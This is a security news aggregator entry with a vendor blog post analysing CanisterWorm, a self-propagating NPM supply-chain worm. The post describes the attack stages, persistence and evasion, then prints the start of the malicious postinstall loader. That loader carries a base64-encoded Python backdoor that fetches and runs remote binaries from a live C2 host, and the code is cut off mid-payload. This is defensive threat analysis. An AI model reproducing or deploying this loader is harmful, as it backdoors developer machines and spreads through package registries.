Security News

Cybersecurity news aggregator

📦
HIGH Attacks Reddit r/netsec

TeamPCP deploys CanisterWorm on NPM following Trivy compromise

The threat is a multi-stage, self-propagating malware campaign dubbed CanisterWorm, deployed via compromised NPM packages by TeamPCP. The attack leverages a postinstall hook to deploy a persistent Python backdoor that uses a decentralized Internet Computer (ICP) canister for command-and-control and dynamic payload delivery, enabling rapid worm-like propagation across package scopes. The article does not specify CVSS scores, affected or fixed package versions, or provide workaround instructions.
Read Full Article →

Blog / Vulnerabilities & Threats TeamPCP deploys CanisterWorm on NPM following Trivy compromise Written by Charlie Eriksen Published on: Mar 20, 2026 Table of Contents Text Link On 20 Mar 2026, 20:45 UTC, we detected a large number of packages being compromised on NPM with a new worm that hasn't been observed before. We're calling this specific attack CanisterWorm, because it makes use of an ICP Canister for its C2 dead-drop, which is the first time we've seen in a campaign like this. They've compromised so far: 28 packages in the @EmilGroup scope 16 packages in the @opengov scope The package @teale.io/eslint-config The package @airtm/uuid-base32 The package @pypestream/floating-ui-dom This appears to be a direct follow-up from the attack on Trivy less than 24 hours ago, as documented in detail by Wiz , and be done by the same threat actor, TeamPCP. ‍ Technical Breakdown Here's a breakdown of the high-level technical details of the attack: 🧬 Three-stage architecture. Node.js postinstall loader → persistent Python backdoor → ICP-hosted dead-drop for dynamic payload delivery. 🪱 Self-propagating worm. deploy.js takes npm tokens, resolves usernames, enumerates all publishable packages, bumps patch versions, and publishes the payload across the entire scope. 28 packages in under 60 seconds. 🔁 systemd persistence. Installs a user-level service with Restart=always . Survives reboots, restarts on crash, no root required. 🌐 ICP canister as C2 dead-drop. A canister on Internet Computer mainnet returns a URL pointing to a binary payload. Decentralized, censorship-resistant, no single takedown point. 🔄 Remote payload rotation. The canister controller can swap the URL at any time, pushing new binaries to all infected hosts without touching the implant. ⏱️ Sandbox evasion. 5-minute sleep before first beacon, ~50-minute poll interval after that. 🤫 Silent failure. The whole postinstall is wrapped in try/catch . npm install succeeds normally on all platforms; the backdoor only activates on Linux with systemd. 🐘 PostgreSQL masquerading. All artifacts named to blend in on developer machines: pgmon , pglog , .pg_state . 📄 README preservation. The worm fetches each target package's original README before publishing to keep up appearances. Payload - Malware Below is the main malicious payload. This file runs automatically as a postinstall hook during npm install . Here's what it does step by step: 🔓 Decodes the embedded payload. The long base64 string is a Python script (the second-stage backdoor we'll look at below). It gets decoded and written to ~/.local/share/pgmon/service.py . 🔧 Creates a systemd user service. It writes a unit file to ~/.config/systemd/user/pgmon.service that runs the Python script with Restart=always and a 5-second restart delay. No root required, no password prompt. 🚀 Starts the service immediately. It runs systemctl --user daemon-reload , then enables and starts the service. The backdoor is now running and will survive reboots and crashes. 🐘 Disguises itself as PostgreSQL tooling. The service is called pgmon , the binary it downloads later is called pglog , and the state file is .pg_state . A developer glancing at their running services wouldn't look twice. 'use strict' ; const { execSync } = require ( 'child_process' ); const fs = require ( 'fs' ); const os = require ( 'os' ); const path = require ( 'path' ); try { const pkg = JSON .parse(fs.readFileSync(path.join(__dirname, 'package.json' ), 'utf8' )); const SERVICE_NAME = 'pgmon' ; const BASE64_PAYLOAD = 'aW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCBvcwppbXBvcnQgc3VicHJvY2VzcwppbXBvcnQgdGltZQoKQ19VUkwgPSAiaHR0cHM6Ly90ZHRxeS1veWFhYS1hYWFhZS1hZjJkcS1jYWkucmF3LmljcDAuaW8vIgpUQVJHRVQgPSAiL3RtcC9wZ2xvZyIKU1RBVEUgPSAiL3RtcC8ucGdfc3RhdGUiCgpkZWYgZygpOgogICAgdHJ5OgogICAgICAgIHJlcSA9IHVybGxpYi5yZXF1ZXN0LlJlcXVlc3QoQ19VUkwsIGhlYWRlcnM9eydVc2VyLUFnZW50JzogJ01vemlsbGEvNS4wJ30pCiAgICAgICAgd2l0aCB1cmxsaWIucmVxdWVzdC51cmxvcGVuKHJlcSwgdGltZW91dD0xMCkgYXMgcjoKICAgICAgICAgICAgbGluayA9IHIucmVhZCgpLmRlY29kZSgndXRmLTgnKS5zdHJpcCgpCiAgICAgICAgICAgIHJldHVybiBsaW5rIGlmIGxpbmsuc3RhcnRzd2l0aCgiaHR0cCIpIGVsc2UgTm9uZQogICAgZXhjZXB0OgogICAgICAgIHJldHVybiBOb25lCgpkZWYgZShsKToKICAgIHRyeToKICAgICAgICB1cmxsaWIucmVxdWVzdC51cmxyZXRyaWV2ZShsLCBUQVJHRVQpCiAgICAgICAgb3MuY2htb2QoVEFSR0VULCAwbzc1NSkKICAgICAgICBzdWJwcm9jZXNzLlBvcGVuKFtUQVJHRVRdLCBzdGRvdXQ9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGRlcnI9c3VicHJvY2Vzcy5ERVZOVUxMLCBzdGFydF9uZXdfc2Vzc2lvbj1UcnVlKQogICAgICAgIHdpdGggb3BlbihTVEFURSwgInciKSBhcyBmOiAKICAgICAgICAgICAgZi53cml0ZShsKQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICJfX21haW5fXyI6CiAgICB0aW1lLnNsZWVwKDMwMCkKICAgIHdoaWxlIFRydWU6CiAgICAgICAgbCA9IGcoKQogICAgICAgIHByZXYgPSAiIgogICAgICAgIGlmIG9zLnBhdGguZXhpc3RzKFNUQVRFKToKICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgd2l0aCBvcGVuKFNUQVRFLCAiciIpIGFzIGY6IAogICAgICAgICAgICAgICAgICAgIHByZXYgPSBmLnJlYWQoKS5zdHJpcCgpCiAgICAgICAgICAgIGV4Y2VwdDogCiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgCiAgICAgICAgaWYgbCBhbmQgbCAhPSBwcmV2IGFuZCAieW91dHViZS5jb20iIG...

Share this article